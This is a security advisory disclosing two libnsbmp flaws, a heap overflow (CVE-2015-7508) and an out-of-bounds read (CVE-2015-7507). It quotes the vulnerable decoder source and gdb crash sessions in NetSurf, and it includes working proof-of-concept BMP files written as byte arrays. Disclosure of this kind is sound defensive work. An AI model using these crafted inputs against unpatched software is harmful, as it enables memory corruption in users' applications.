Overview ======== Libnsbmp[1] is a decoding library for BMP and ICO files. It is primarily developed and used as part of the NetSurf project. As of version 0.1.2, libnsbmp is vulnerable to a heap overflow (CVE-2015-7508) and an out-of-bounds read (CVE-2015-7507). CVE-2015-7508 ============= libnsbmp expects that the user-supplied `bmp_bitmap_cb_create' callback allocates enough memory to accommodate for `bmp->width * bmp->height * 4' bytes. However, due to the way `pixels_left' is calculated, the last row of run-length encoded data may expand beyond the end of `bmp->bitmap', resulting in a heap overflow. src/libnsbmp.c #951..1097: ,---- | static bmp_result bmp_decode_rle(bmp_image *bmp, uint8_t *data, int bytes, int size) { | [...] | swidth = bmp->bitmap_callbacks.bitmap_get_bpp(bmp->bitmap) * bmp->width; | top = bmp->bitmap_callbacks.bitmap_get_buffer(bmp->bitmap); | [...] | do { | [...] | length = *data++; | if (length == 0) { | [...] | /* 00 - NN means escape NN pixels */ | if (bmp->reversed) { | pixels_left = (y + 1) * bmp->width - x; | scanline = (void *)(top + (y * swidth)); | } else { | pixels_left = (bmp->height - y + 1) * bmp->width - x; | scanline = (void *)(bottom - (y * swidth)); | } | if (length > pixels_left) | length = pixels_left; | if (data + length > end) | return BMP_INSUFFICIENT_DATA; | [...] | } else { | /* NN means perform RLE for NN pixels */ | if (bmp->reversed) { | pixels_left = (y + 1) * bmp->width - x; | scanline = (void *)(top + (y * swidth)); | } else { | pixels_left = (bmp->height - y + 1) * bmp->width - x; | scanline = (void *)(bottom - (y * swidth)); | } | if (length > pixels_left) | length = pixels_left; | [...] | pixel2 = *data++; | pixel = bmp->colour_table[pixel2 >> 4]; | pixel2 = bmp->colour_table[pixel2 & 0xf]; | for (i = 0; i < length; i++) { | if (x >= bmp->width) { | x = 0; | if (++y > bmp->height) | return BMP_DATA_ERROR; | scanline -= bmp->width; | } | if ((i & 1) == 0) | scanline[x++] = pixel; | else | scanline[x++] = pixel2; | } | } | } | } while (data < end); | [...] | } `---- Using NetSurf as an example: ,---- | ~/netsurf-all-3.3/netsurf$ gdb -x heap.py --args ./nsgtk heap.bmp | [...] | heap overfow: pix: 0xff999999 ptr: 0x7fffe29fefed, end of buf: 0x7fffe29fefec (+1) | heap overfow: pix: 0xff999999 ptr: 0x7fffe29fefef, end of buf: 0x7fffe29fefec (+3) | heap overfow: pix: 0xff999999 ptr: 0x7fffe29feff1, end of buf: 0x7fffe29fefec (+5) | | Program received signal SIGSEGV, Segmentation fault. | 0x00000000005183e4 in bmp_decode_rle (bmp=0xda9ff0, data=0xdb9e24 'A' , bytes=157, size=4) at src/libnsbmp.c:1091 | 1091 scanline[x++] = pixel2; | (gdb) `---- heap.py: ,---- | class Breakpoint(gdb.Breakpoint): | def stop(self): | top = get_hex("top") | width = get_hex("bmp->width") | height = get_hex("bmp->height") | bpp = get_hex("bmp->bpp") | x = get_hex("x") | scanline = get_hex("scanline") | pixel2 = get_hex("pixel2") | | cur = scanline + x | end = top + width * height * bpp | if cur > end: | print("heap overfow: pix: 0x%x ptr: 0x%x, end of buf: 0x%x (+%d)" % | (pixel2, cur, end, cur - end)) | return False | | def get_hex(arg): | res = gdb.execute("print/x %s" % arg, to_string=True) | x = res.split(" ")[-1].strip() | return int(x, 16) | | Breakpoint("netsurf-all-3.3/libnsbmp/src/libnsbmp.c:1091") | | gdb.execute("run") `---- heap.bmp: ,---- | unsigned char heap[] = { | /* bmp_analyse() */ | 0x42, 0x4d, /* BM */ | 0x41, 0x00, 0x00, 0x40, /* bmp size */ | 0x00, 0x00, /* reserved */ | 0x00, 0x00, /* reserved */ | 0x00, 0x00, 0x00, 0x00, /* bmp->bitmap_offset */ | | /* bmp_analyse_header() */ | 0x6c, 0x00, 0x00, 0x00, /* header_size */ | 0xff, 0x7f, 0x00, 0x00, /* width */ | 0xf7, 0xff, 0xff, 0xff, /* height */ | 0x01, 0x00, /* colour planes */ | 0x04, 0x00, /* bmp->bpp */ | 0x02, 0x00, 0x00, 0x00, /* bmp->encoding */ | 0x04, 0x00, 0x00, 0x00, /* size of bitmap */ | 0x41, 0x41, 0x00, 0x00, /* horizontal resolution */ | 0x41, 0x41, 0x00, 0x00, /* vertical resolution */ | 0x01, 0x00, 0x00, 0x00, /* bmp->colours */ | 0x00, 0x00, 0x00, 0x00, /* number of important colours */ | 0x41, 0x41, 0x41, 0x41, /* mask identifying bits of red component */ | 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of green component */ | 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of blue component */ | | /* | * NOTE: the first two bytes of the alpha mask are used in the | * expansion of the last "line". | * | * 0xff = the number of bytes to expand, | * 0x00 = the pixel which, combined with a bitwise AND against 0xf, | * is used to dereference a (potentially) suiting "real" | * pixel in bmp->colour_table. Since bmp->colours is | * specified as 1, we want this to be 0. No bounds checking | * is done and as such libnsbmp may be induced to read from | * bmp->colour_table[out_of_bounds_index] (CVE-2015-7507) | */ | 0xff, 0x00, 0x41, 0x41, /* mask identifying bits of alpha component */ | | 0x41, 0x41, 0x41, 0x41, /* color space type */ | 0x41, 0x41, 0x41, 0x41, /* x coordinate of red endpoint */ | 0x41, 0x41, 0x41, 0x41, /* y coordinate of red endpoint */ | 0x41, 0x41, 0x41, 0x41, /* z coordinate of red endpoint */ | 0x41, 0x41, 0x41, 0x41, /* x coordinate of green endpoint */ | 0x41, 0x00, 0x41, 0x41, /* y coordinate of green endpoint */ | 0x41, 0x41, 0x41, 0x41, /* z coordinate of green endpoint */ | 0x41, 0x41, 0x41, 0x41, /* x coordinate of blue endpoint */ | 0x41, 0x41, 0x41, 0x41, /* y coordinate of blue endpoint */ | 0x41, 0x41, 0x41, 0x41, /* z coordinate of blue endpoint */ | 0x41, 0x41, 0x41, 0x41, /* gamma red coordinate scale value */ | 0x41, 0x41, 0x41, 0x41, /* gamma green coordinate scale value */ | 0x41, 0x41, 0x41, 0x41, /* gamma blue coordinate scale value */ | | /* | * NOTE: this is what will be expanded on the last "line" | */ | 0x99, 0x99, 0x99, /* bmp->colour_table[0] */ | | 0x41, 0x41, 0x41, 0x41, | 0x41, 0x41, 0x41, 0x41, | 0x41, 0x41, 0x41, 0x41, | 0x41, 0x41, 0x41, 0x41, | 0x41, 0x41, 0x41, 0x41, | 0x41, 0x41, 0x41, 0x41, | 0x41, 0x41, 0x41, 0x41, | 0x41, 0x41, 0x41, 0x41, | }; `---- CVE-2015-7507 ============= An out-of-bounds read may occur in libnsbmp due to a lack of boundary checking before dereferencing `bmp->colour_table' in `bmp_decode_rgb()' and `bmp_decode_rle()' with an index based on a user-supplied value. src/libnsbmp.c #306..558: ,---- | static bmp_result bmp_analyse_header(bmp_image *bmp, uint8_t *data) { | [...] | header_size = read_uint32(data, 0); | [...] | if (header_size == 12) { | [...] | bmp->bpp = read_uint16(data, 10); | /** | * The bpp value should be in the range 1-32, but the only | * values considered legal are: | * RGB ENCODING: 1, 4, 8, 16, 24 and 32 | */ | if ((bmp->bpp != 1) && (bmp->bpp != 4) && | (bmp->bpp != 8) && | (bmp->bpp != 16) && | (bmp->bpp != 24) && | (bmp->bpp != 32)) | return BMP_DATA_ERROR; | bmp->colours = (1 << bmp->bpp); | palette_size = 3; | } else if (header_size < 40) { | return BMP_DATA_ERROR; | } else { | [...] | bmp->colours = read_uint32(data, 32); | if (bmp->colours == 0) | bmp->colours = (1 << bmp->bpp); | palette_size = 4; | } | [...] | if (bmp->bpp < 16) { | [...] | /* create the colour table */ | bmp->colour_table = (uint32_t *)malloc(bmp->colours * 4); | if (!bmp->colour_table) | return BMP_INSUFFICIENT_MEMORY; | for (i = 0; i < bmp->colours; i++) { | bmp->colour_table[i] = data[2] | (data[1] << 8) | (data[0] << 16); | if (bmp->opaque) | bmp->colour_table[i] |= (0xff << 24); | data += palette_size; | bmp->colour_table[i] = read_uint32((uint8_t *)&bmp->colour_table[i],0); | } | } | [...] | } `---- src/libnsbmp.c #951..1097: ,---- | static bmp_result bmp_decode_rle(bmp_image *bmp, uint8_t *data, int bytes, int size) { | [...] | do { | [...] | length = *data++; | if (length == 0) { | [...] | } else { | /* 00 - NN means escape NN pixels */ | [...] | if (size == 8) { | [...] | scanline[x++] = bmp->colour_table[(int)*data++]; | } | } else { | [...] | if ((i & 1) == 0) { | pixel = *data++; | scanline[x++] = bmp->colour_table | [pixel >> 4]; | } else { | scanline[x++] = bmp->colour_table | [pixel & 0xf]; | } | } | [...] | } | } else { | /* NN means perform RLE for NN pixels */ | [...] | if (size == 8) { | pixel = bmp->colour_table[(int)*data++]; | [...] | } else { | pixel2 = *data++; | pixel = bmp->colour_table[pixel2 >> 4]; | pixel2 = bmp->colour_table[pixel2 & 0xf]; | [...] | } | } | } | } while (data < end); | [...] | } `---- src/libnsbmp.c #844..893: ,---- | static bmp_result bmp_decode_rgb(bmp_image *bmp, uint8_t **start, int bytes) { | [...] | uint8_t bit_shifts[8]; | uint8_t ppb = 8 / bmp->bpp; | uint8_t bit_mask = (1 << bmp->bpp) - 1; | uint8_t cur_byte = 0, bit, i; | | for (i = 0; i < ppb; i++) | bit_shifts[i] = 8 - ((i + 1) * bmp->bpp); | [...] | /* Determine transparent index */ | if (bmp->limited_trans) | bmp->transparent_index = bmp->colour_table[(*data >> bit_shifts[0]) & bit_mask]; | | for (y = 0; y < bmp->height; y++) { | [...] | for (x = 0; x < bmp->width; x++) { | if (bit >= ppb) { | bit = 0; | cur_byte = *data++; | } | scanline[x] = bmp->colour_table[(cur_byte >> bit_shifts[bit++]) & bit_mask]; | [...] | } | } | *start = data; | return BMP_OK; | } `---- Another NetSurf example: ,---- | ~/netsurf-all-3.3/netsurf$ gdb --args ./nsgtk oob.bmp | [...] | (gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:531 | Breakpoint 1 at 0x516a3e: file src/libnsbmp.c, line 531. | (gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:869 | Breakpoint 2 at 0x5179bb: file src/libnsbmp.c, line 869. | (gdb) b netsurf-all-3.3/libnsbmp/src/libnsbmp.c:886 | Breakpoint 3 at 0x517aab: file src/libnsbmp.c, line 886. | (gdb) r | [...] | Breakpoint 1, bmp_analyse_header (bmp=0xdadc90, data=0xdb9e6a "\377\377\377") at src/libnsbmp.c:531 | 531 bmp->colour_table = (uint32_t *)malloc(bmp->colours * 4); | (gdb) p bmp->colours * 4 | $1 = 4 | (gdb) c | [...] | Breakpoint 3, bmp_decode_rgb (bmp=0xdadc90, start=0x7fffffffbff0, bytes=4) at src/libnsbmp.c:886 | 886 scanline[x] = bmp->colour_table[(cur_byte >> bit_shifts[bit++]) & bit_mask]; | (gdb) p (cur_byte >> bit_shifts[bit++]) & bit_mask | $2 = 255 | (gdb) `---- oob.bmp: ,---- | unsigned char bmp[] = { | /* bmp_analyse() */ | 0x42, 0x4d, /* BM */ | 0x7e, 0x00, 0x00, 0x00, /* bmp size */ | 0x00, 0x00, /* reserved */ | 0x00, 0x00, /* reserved */ | 0x7a, 0x00, 0x00, 0x00, /* bmp->bitmap_offset */ | | /* bmp_analyse_header() */ | 0x6c, 0x00, 0x00, 0x00, /* header_size */ | 0x01, 0x00, 0x00, 0x00, /* width */ | 0x01, 0x00, 0x00, 0x00, /* height */ | 0x01, 0x00, /* colour planes */ | 0x08, 0x00, /* bmp->bpp */ | 0x00, 0x00, 0x00, 0x00, /* bmp->encoding */ | 0x00, 0x00, 0x00, 0x00, /* size of bitmap */ | 0x00, 0x00, 0x00, 0x00, /* horizontal resolution */ | 0x00, 0x00, 0x00, 0x00, /* vertical resolution */ | 0x01, 0x00, 0x00, 0x00, /* bmp->colours */ | 0x00, 0x00, 0x00, 0x00, /* number of important colours */ | 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of red component */ | 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of green component */ | 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of blue component */ | 0x00, 0x00, 0x00, 0x00, /* mask identifying bits of alpha component */ | 0x00, 0x00, 0x00, 0x00, /* color space type */ | 0x00, 0x00, 0x00, 0x00, /* x coordinate of red endpoint */ | 0x00, 0x00, 0x00, 0x00, /* y coordinate of red endpoint */ | 0x00, 0x00, 0x00, 0x00, /* z coordinate of red endpoint */ | 0x00, 0x00, 0x00, 0x00, /* x coordinate of green endpoint */ | 0x00, 0x00, 0x00, 0x00, /* y coordinate of green endpoint */ | 0x00, 0x00, 0x00, 0x00, /* z coordinate of green endpoint */ | 0x00, 0x00, 0x00, 0x00, /* x coordinate of blue endpoint */ | 0x00, 0x00, 0x00, 0x00, /* y coordinate of blue endpoint */ | 0x00, 0x00, 0x00, 0x00, /* z coordinate of blue endpoint */ | 0x00, 0x00, 0x00, 0x00, /* gamma red coordinate scale value */ | 0x00, 0x00, 0x00, 0x00, /* gamma green coordinate scale value */ | 0x00, 0x00, 0x00, 0x00, /* gamma blue coordinate scale value */ | 0xff, 0xff, 0xff, 0x00 /* bmp->colour_table[0] */ | }; `---- Solution ======== Both vulnerabilities are fixed in git HEAD[2]. Footnotes _________ [1] [http://www.netsurf-browser.org/projects/libnsbmp/] [2] [http://source.netsurf-browser.org/libnsbmp.git/] Hans Jerry Illikainen